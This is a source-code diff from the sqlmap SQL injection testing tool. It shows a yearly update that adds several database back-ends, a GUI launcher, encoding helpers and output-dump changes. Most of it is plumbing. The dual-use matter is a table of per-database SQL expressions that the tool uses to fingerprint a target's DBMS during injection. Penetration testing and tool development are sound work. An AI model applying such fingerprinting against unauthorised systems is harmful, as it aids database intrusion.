-                if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
+                if not kb.binaryField:
-                    try:
+                    if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
-                        retVal = retVal.decode("utf-16-le")
+                        try:
-                    except UnicodeDecodeError:
+                            retVal = retVal.decode("utf-16-le")
-                        pass
+                        except UnicodeDecodeError:
+                            pass
 
-                elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
+                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
-                    try:
+                        try:
-                        retVal = retVal.decode("utf-16-be")
+                            retVal = retVal.decode("utf-16-be")
-                    except UnicodeDecodeError:
+                        except UnicodeDecodeError:
-                        pass
+                            pass
 
                 if not isinstance(retVal, six.text_type):
                     retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
@@ -4830,7 +4922,7 @@ def prioritySortColumns(columns):
     """
 
     def _(column):
-        return column and "id" in column.lower()
+        return column and re.search(r"^id|id$", column, re.I) is not None
 
     return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
 
@@ -4976,7 +5068,7 @@ def parseRequestFile(reqFile, checkParams=True):
                     port, request = match.groups()
                     try:
                         request = decodeBase64(request, binary=False)
-                    except binascii.Error:
+                    except (binascii.Error, TypeError):
                         continue
                     _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
                     if _:

lib/core/compat.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/convert.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -19,6 +19,7 @@ import re
 import sys
 
 from lib.core.bigarray import BigArray
+from lib.core.compat import xrange
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
@@ -31,6 +32,11 @@ from lib.core.settings import UNICODE_ENCODING
 from thirdparty import six
 from thirdparty.six import unichr as _unichr
 
+try:
+    from html import escape as htmlEscape
+except ImportError:
+    from cgi import escape as htmlEscape
+
 def base64pickle(value):
     """
     Serializes (with pickle) and encodes to Base64 format supplied (binary) value
@@ -221,7 +227,7 @@ def encodeBase64(value, binary=True, encoding=None):
 
     return retVal
 
-def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
+def getBytes(value, encoding=None, errors="strict", unsafe=True):
     """
     Returns byte representation of provided Unicode value
 
@@ -231,6 +237,14 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
 
     retVal = value
 
+    if encoding is None:
+        encoding = conf.get("encoding") or UNICODE_ENCODING
+
+    try:
+        codecs.lookup(encoding)
+    except (LookupError, TypeError):
+        encoding = UNICODE_ENCODING
+
     if isinstance(value, six.text_type):
         if INVALID_UNICODE_PRIVATE_AREA:
             if unsafe:
@@ -263,7 +277,7 @@ def getOrds(value):
 
 def getUnicode(value, encoding=None, noneToNull=False):
     """
-    Return the unicode representation of the supplied value:
+    Returns the unicode representation of the supplied value
 
     >>> getUnicode('test') == u'test'
     True
@@ -289,7 +303,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
         for candidate in candidates:
             try:
                 return six.text_type(value, candidate)
-            except UnicodeDecodeError:
+            except (UnicodeDecodeError, LookupError):
                 pass
 
         try:
@@ -375,3 +389,20 @@ def stdoutEncode(value):
         retVal = value
 
     return retVal
+
+def getConsoleLength(value):
+    """
+    Returns console width of unicode values
+
+    >>> getConsoleLength("abc")
+    3
+    >>> getConsoleLength(u"\\u957f\\u6c5f")
+    4
+    """
+
+    if isinstance(value, six.text_type):
+        retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
+    else:
+        retVal = len(value)
+
+    return retVal

lib/core/data.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/datatype.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/decorators.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -28,7 +28,7 @@ def cachedmethod(f):
     >>> __ = cachedmethod(lambda *args, **kwargs: args[0])
     >>> __(2)
     2
-    >>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0])
+    >>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values())))
     >>> __(foobar=3)
     3
 

lib/core/defaults.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/dicts.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -10,20 +10,27 @@ from lib.core.enums import DBMS
 from lib.core.enums import OS
 from lib.core.enums import POST_HINT
 from lib.core.settings import ACCESS_ALIASES
+from lib.core.settings import ALTIBASE_ALIASES
 from lib.core.settings import BLANK
 from lib.core.settings import DB2_ALIASES
+from lib.core.settings import DERBY_ALIASES
 from lib.core.settings import FIREBIRD_ALIASES
 from lib.core.settings import H2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 from lib.core.settings import MAXDB_ALIASES
+from lib.core.settings import MCKOI_ALIASES
+from lib.core.settings import MIMERSQL_ALIASES
+from lib.core.settings import MONETDB_ALIASES
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import NULL
 from lib.core.settings import ORACLE_ALIASES
 from lib.core.settings import PGSQL_ALIASES
+from lib.core.settings import PRESTO_ALIASES
 from lib.core.settings import SQLITE_ALIASES
 from lib.core.settings import SYBASE_ALIASES
+from lib.core.settings import VERTICA_ALIASES
 
 FIREBIRD_TYPES = {
     261: "BLOB",
@@ -198,8 +205,16 @@ DBMS_DICT = {
     DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
     DBMS.H2: (H2_ALIASES, None, None, None),
     DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
+    DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
+    DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None),
+    DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"),
+    DBMS.MCKOI: (MCKOI_ALIASES, None, None, None),
+    DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
+    DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
+    DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
 }
 
+# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
 FROM_DUMMY_TABLE = {
     DBMS.ORACLE: " FROM DUAL",
     DBMS.ACCESS: " FROM MSysAccessObjects",
@@ -207,7 +222,26 @@ FROM_DUMMY_TABLE = {
     DBMS.MAXDB: " FROM VERSIONS",
     DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
     DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
-    DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
+    DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
+    DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
+    DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
+}
+
+HEURISTIC_NULL_EVAL = {
+    DBMS.ACCESS: "CVAR(NULL)",
+    DBMS.MAXDB: "ALPHA(NULL)",
+    DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
+    DBMS.MYSQL: "QUARTER(NULL)",
+    DBMS.ORACLE: "INSTR2(NULL,NULL)",
+    DBMS.PGSQL: "QUOTE_IDENT(NULL)",
+    DBMS.SQLITE: "UNLIKELY(NULL)",
+    DBMS.MONETDB: "CODE(NULL)",
+    DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
+    DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
+    DBMS.MCKOI: "TONUMBER(NULL)",
+    DBMS.PRESTO: "FROM_HEX(NULL)",
+    DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
+    DBMS.MIMERSQL: "ASCII_CHAR(256) IS NULL",
 }
 
 SQL_STATEMENTS = {

lib/core/dump.py

@@ -1,11 +1,10 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import cgi
 import hashlib
 import os
 import re
@@ -28,8 +27,10 @@ from lib.core.common import safeCSValue
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.compat import xrange
 from lib.core.convert import getBytes
+from lib.core.convert import getConsoleLength
 from lib.core.convert import getText
 from lib.core.convert import getUnicode
+from lib.core.convert import htmlEscape
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -68,13 +69,12 @@ class Dump(object):
         self._lock = threading.Lock()
 
     def _write(self, data, newline=True, console=True, content_type=None):
-        if conf.api:
-            dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
-            return
-
         text = "%s%s" % (data, "\n" if newline else " ")
 
-        if console:
+        if conf.api:
+            dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
+
+        elif console:
             dataToStdout(text)
 
         multiThreadMode = isMultiThreadMode()
@@ -107,16 +107,12 @@ class Dump(object):
             errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
             raise SqlmapGenericException(errMsg)
 
-    def getOutputFile(self):
-        return self._outputFile
-
     def singleString(self, data, content_type=None):
         self._write(data, content_type=content_type)
 
     def string(self, header, data, content_type=None, sort=True):
         if conf.api:
             self._write(data, content_type=content_type)
-            return
 
         if isListLike(data):
             self.lister(header, data, content_type, sort)
@@ -136,8 +132,6 @@ class Dump(object):
                 self._write("%s:\n---\n%s\n---" % (header, _))
             else:
                 self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
-        else:
-            self._write("%s:\tNone" % header)
 
     def lister(self, header, elements, content_type=None, sort=True):
         if elements and sort:
@@ -150,7 +144,6 @@ class Dump(object):
 
         if conf.api:
             self._write(elements, content_type=content_type)
-            return
 
         if elements:
             self._write("%s [%d]:" % (header, len(elements)))
@@ -173,8 +166,10 @@ class Dump(object):
     def currentDb(self, data):
         if Backend.isDbms(DBMS.MAXDB):
             self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA):
             self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
+        elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.MIMERSQL):
+            self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
         else:
             self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
 
@@ -197,12 +192,11 @@ class Dump(object):
             self._areAdmins = userSettings[1]
             userSettings = userSettings[0]
 
-        users = list(userSettings.keys())
+        users = [_ for _ in userSettings.keys() if _ is not None]
         users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
         if conf.api:
             self._write(userSettings, content_type=content_type)
-            return
 
         if userSettings:
             self._write("%s:" % header)
@@ -236,7 +230,6 @@ class Dump(object):
         if isinstance(dbTables, dict) and len(dbTables) > 0:
             if conf.api:
                 self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
-                return
 
             maxlength = 0
 
@@ -245,7 +238,7 @@ class Dump(object):
                     if table and isListLike(table):
                         table = table[0]
 
-                    maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or getUnicode(table))))
+                    maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table))))
 
             lines = "-" * (int(maxlength) + 2)
 
@@ -266,7 +259,7 @@ class Dump(object):
                         table = table[0]
 
                     table = unsafeSQLIdentificatorNaming(table)
-                    blank = " " * (maxlength - len(normalizeUnicode(table) or getUnicode(table)))
+                    blank = " " * (maxlength - getConsoleLength(getUnicode(table)))
                     self._write("| %s%s |" % (table, blank))
 
                 self._write("+%s+\n" % lines)
@@ -279,7 +272,6 @@ class Dump(object):
         if isinstance(tableColumns, dict) and len(tableColumns) > 0:
             if conf.api:
                 self._write(tableColumns, content_type=content_type)
-                return
 
             for db, tables in tableColumns.items():
                 if not db:
@@ -353,7 +345,6 @@ class Dump(object):
         if isinstance(dbTables, dict) and len(dbTables) > 0:
             if conf.api:
                 self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
-                return
 
             maxlength1 = len("Table")
             maxlength2 = len("Entries")
@@ -361,7 +352,7 @@ class Dump(object):
             for ctables in dbTables.values():
                 for tables in ctables.values():
                     for table in tables:
-                        maxlength1 = max(maxlength1, len(normalizeUnicode(table) or getUnicode(table)))
+                        maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table)))
 
             for db, counts in dbTables.items():
                 self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
@@ -387,7 +378,7 @@ class Dump(object):
                     tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
                     for table in tables:
-                        blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or getUnicode(table)))
+                        blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table)))
                         blank2 = " " * (maxlength2 - len(str(count)))
                         self._write("| %s%s | %d%s |" % (table, blank1, count, blank2))
 
@@ -412,7 +403,6 @@ class Dump(object):
 
         if conf.api:
             self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
-            return
 
         dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
 
@@ -547,7 +537,7 @@ class Dump(object):
 
                 column = unsafeSQLIdentificatorNaming(column)
                 maxlength = int(info["length"])
-                blank = " " * (maxlength - len(column))
+                blank = " " * (maxlength - getConsoleLength(column))
 
                 self._write("| %s%s" % (column, blank), newline=False)
 
@@ -558,7 +548,7 @@ class Dump(object):
                         else:
                             dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
                     elif conf.dumpFormat == DUMP_FORMAT.HTML:
-                        dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace")))
+                        dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
 
                 field += 1
 
@@ -602,7 +592,7 @@ class Dump(object):
 
                     values.append(value)
                     maxlength = int(info["length"])
-                    blank = " " * (maxlength - len(value))
+                    blank = " " * (maxlength - getConsoleLength(value))
                     self._write("| %s%s" % (value, blank), newline=False, console=console)
 
                     if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
@@ -630,7 +620,7 @@ class Dump(object):
                         else:
                             dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
                     elif conf.dumpFormat == DUMP_FORMAT.HTML:
-                        dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace")))
+                        dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
 
                     field += 1
 
@@ -650,7 +640,7 @@ class Dump(object):
 
         if conf.dumpFormat == DUMP_FORMAT.SQLITE:
             rtable.endTransaction()
-            logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath))
+            logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))
 
         elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
             if conf.dumpFormat == DUMP_FORMAT.HTML:
@@ -668,7 +658,6 @@ class Dump(object):
     def dbColumns(self, dbColumnsDict, colConsider, dbs):
         if conf.api:
             self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
-            return
 
         for column in dbColumnsDict.keys():
             if colConsider == "1":

lib/core/enums.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -42,9 +42,16 @@ class DBMS(object):
     PGSQL = "PostgreSQL"
     SQLITE = "SQLite"
     SYBASE = "Sybase"
+    INFORMIX = "Informix"
     HSQLDB = "HSQLDB"
     H2 = "H2"
-    INFORMIX = "Informix"
+    MONETDB = "MonetDB"
+    DERBY = "Apache Derby"
+    VERTICA = "Vertica"
+    MCKOI = "Mckoi"
+    PRESTO = "Presto"
+    ALTIBASE = "Altibase"
+    MIMERSQL = "MimerSQL"
 
 class DBMS_DIRECTORY_NAME(object):
     ACCESS = "access"
@@ -60,6 +67,22 @@ class DBMS_DIRECTORY_NAME(object):
     HSQLDB = "hsqldb"
     H2 = "h2"
     INFORMIX = "informix"
+    MONETDB = "monetdb"
+    DERBY = "derby"
+    VERTICA = "vertica"
+    MCKOI = "mckoi"
+    PRESTO = "presto"
+    ALTIBASE = "altibase"
+    MIMERSQL = "mimersql"
+
+class FORK(object):
+    MARIADB = "MariaDB"
+    MEMSQL = "MemSQL"
+    PERCONA = "Percona"
+    COCKROACHDB = "CockroachDB"
+    TIDB = "TiDB"
+    REDSHIFT = "Amazon Redshift"
+    GREENPLUM = "Greenplum"
 
 class CUSTOM_LOGGING(object):
     PAYLOAD = 9

lib/core/exception.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/gui.py

@@ -0,0 +1,278 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import os
+import re
+import socket
+import subprocess
+import sys
+import tempfile
+import threading
+import webbrowser
+
+from lib.core.common import getSafeExString
+from lib.core.common import saveConfig
+from lib.core.data import paths
+from lib.core.defaults import defaults
+from lib.core.enums import MKSTEMP_PREFIX
+from lib.core.exception import SqlmapMissingDependence
+from lib.core.settings import DEV_EMAIL_ADDRESS
+from lib.core.settings import IS_WIN
+from lib.core.settings import ISSUES_PAGE
+from lib.core.settings import GIT_PAGE
+from lib.core.settings import SITE
+from lib.core.settings import VERSION_STRING
+from lib.core.settings import WIKI_PAGE
+from thirdparty.six.moves import queue as _queue
+
+alive = None
+line = ""
+process = None
+queue = None
+
+def runGui(parser):
+    try:
+        from thirdparty.six.moves import tkinter as _tkinter
+        from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext
+        from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk
+        from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
+    except ImportError as ex:
+        raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex))
+
+    # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
+    class ConstrainedEntry(_tkinter.Entry):
+        def __init__(self, master=None, **kwargs):
+            self.var = _tkinter.StringVar()
+            self.regex = kwargs["regex"]
+            del kwargs["regex"]
+            _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs)
+            self.old_value = ''
+            self.var.trace('w', self.check)
+            self.get, self.set = self.var.get, self.var.set
+
+        def check(self, *args):
+            if re.search(self.regex, self.get()):
+                self.old_value = self.get()
+            else:
+                self.set(self.old_value)
+
+    # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
+    class AutoresizableNotebook(_tkinter_ttk.Notebook):
+        def __init__(self, master=None, **kw):
+            _tkinter_ttk.Notebook.__init__(self, master, **kw)
+            self.bind("<<NotebookTabChanged>>", self._on_tab_changed)
+
+        def _on_tab_changed(self, event):
+            event.widget.update_idletasks()
+
+            tab = event.widget.nametowidget(event.widget.select())
+            event.widget.configure(height=tab.winfo_reqheight())
+
+    window = _tkinter.Tk()
+    window.title(VERSION_STRING)
+
+    # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
+    style = _tkinter_ttk.Style()
+    settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
+    style.theme_create("custom", parent="alt", settings=settings)
+    style.theme_use("custom")
+
+    # Reference: https://stackoverflow.com/a/10018670
+    def center(window):
+        window.update_idletasks()
+        width = window.winfo_width()
+        frm_width = window.winfo_rootx() - window.winfo_x()
+        win_width = width + 2 * frm_width
+        height = window.winfo_height()
+        titlebar_height = window.winfo_rooty() - window.winfo_y()
+        win_height = height + titlebar_height + frm_width
+        x = window.winfo_screenwidth() // 2 - win_width // 2
+        y = window.winfo_screenheight() // 2 - win_height // 2
+        window.geometry('{}x{}+{}+{}'.format(width, height, x, y))
+        window.deiconify()
+
+    def onKeyPress(event):
+        global line
+        global queue
+
+        if process:
+            if event.char == '\b':
+                line = line[:-1]
+            else:
+                line += event.char
+
+    def onReturnPress(event):
+        global line
+        global queue
+
+        if process:
+            try:
+                process.stdin.write(("%s\n" % line.strip()).encode())
+                process.stdin.flush()
+            except socket.error:
+                line = ""
+                event.widget.master.master.destroy()
+                return "break"
+            except:
+                return
+
+            event.widget.insert(_tkinter.END, "\n")
+
+            return "break"
+
+    def run():
+        global alive
+        global process
+        global queue
+
+        config = {}
+
+        for key in window._widgets:
+            dest, type = key
+            widget = window._widgets[key]
+
+            if hasattr(widget, "get") and not widget.get():
+                value = None
+            elif type == "string":
+                value = widget.get()
+            elif type == "float":
+                value = float(widget.get())
+            elif type == "int":
+                value = int(widget.get())
+            else:
+                value = bool(widget.var.get())
+
+            config[dest] = value
+
+        for option in parser.option_list:
+            config[option.dest] = defaults.get(option.dest, None)
+
+        handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
+        os.close(handle)
+
+        saveConfig(config, configFile)
+
+        def enqueue(stream, queue):
+            global alive
+
+            for line in iter(stream.readline, b''):
+                queue.put(line)
+
+            alive = False
+            stream.close()
+
+        alive = True
+
+        process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN)
+
+        # Reference: https://stackoverflow.com/a/4896288
+        queue = _queue.Queue()
+        thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
+        thread.daemon = True
+        thread.start()
+
+        top = _tkinter.Toplevel()
+        top.title("Console")
+
+        # Reference: https://stackoverflow.com/a/13833338
+        text = _tkinter_scrolledtext.ScrolledText(top, undo=True)
+        text.bind("<Key>", onKeyPress)
+        text.bind("<Return>", onReturnPress)
+        text.pack()
+        text.focus()
+
+        center(top)
+
+        while True:
+            line = ""
+            try:
+                # line = queue.get_nowait()
+                line = queue.get(timeout=.1)
+                text.insert(_tkinter.END, line)
+            except _queue.Empty:
+                text.see(_tkinter.END)
+                text.update_idletasks()
+
+                if not alive:
+                    break
+
+    menubar = _tkinter.Menu(window)
+
+    filemenu = _tkinter.Menu(menubar, tearoff=0)
+    filemenu.add_command(label="Open", state=_tkinter.DISABLED)
+    filemenu.add_command(label="Save", state=_tkinter.DISABLED)
+    filemenu.add_separator()
+    filemenu.add_command(label="Exit", command=window.quit)
+    menubar.add_cascade(label="File", menu=filemenu)
+
+    menubar.add_command(label="Run", command=run)
+
+    helpmenu = _tkinter.Menu(menubar, tearoff=0)
+    helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE))
+    helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE))
+    helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
+    helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
+    helpmenu.add_separator()
+    helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2020\n\n    (%s)" % DEV_EMAIL_ADDRESS))
+    menubar.add_cascade(label="Help", menu=helpmenu)
+
+    window.config(menu=menubar)
+    window._widgets = {}
+
+    notebook = AutoresizableNotebook(window)
+
+    first = None
+    frames = {}
+
+    for group in parser.option_groups:
+        frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200)
+        notebook.add(frames[group.title], text=group.title)
+
+        _tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W)
+
+        row = 1
+        if group.get_description():
+            _tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W)
+            _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W)
+            row += 2
+
+        for option in group.option_list:
+            _tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W)
+
+            if option.type == "string":
+                widget = _tkinter.Entry(frame)
+            elif option.type == "float":
+                widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
+            elif option.type == "int":
+                widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
+            else:
+                var = _tkinter.IntVar()
+                widget = _tkinter.Checkbutton(frame, variable=var)
+                widget.var = var
+
+            first = first or widget
+            widget.grid(column=1, row=row, sticky=_tkinter.W)
+
+            window._widgets[(option.dest, option.type)] = widget
+
+            default = defaults.get(option.dest)
+            if default:
+                if hasattr(widget, "insert"):
+                    widget.insert(0, default)
+
+            _tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=_tkinter.W)
+
+            row += 1
+
+        _tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W)
+
+    notebook.pack(expand=1, fill="both")
+    notebook.enable_traversal()
+
+    first.focus()
+
+    window.mainloop()

lib/core/log.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/option.py

@@ -1,12 +1,13 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
 from __future__ import division
 
+import codecs
 import functools
 import glob
 import inspect
@@ -98,6 +99,7 @@ from lib.core.exception import SqlmapSyntaxException
 from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.exception import SqlmapValueException
 from lib.core.log import FORMATTER
 from lib.core.optiondict import optDict
 from lib.core.settings import CODECS_LIST_PAGE
@@ -109,6 +111,7 @@ from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
 from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
 from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import DUMMY_URL
+from lib.core.settings import IGNORE_CODE_WILDCARD
 from lib.core.settings import IS_WIN
 from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
 from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -118,6 +121,7 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_SPLITTING_REGEX
 from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
+from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES
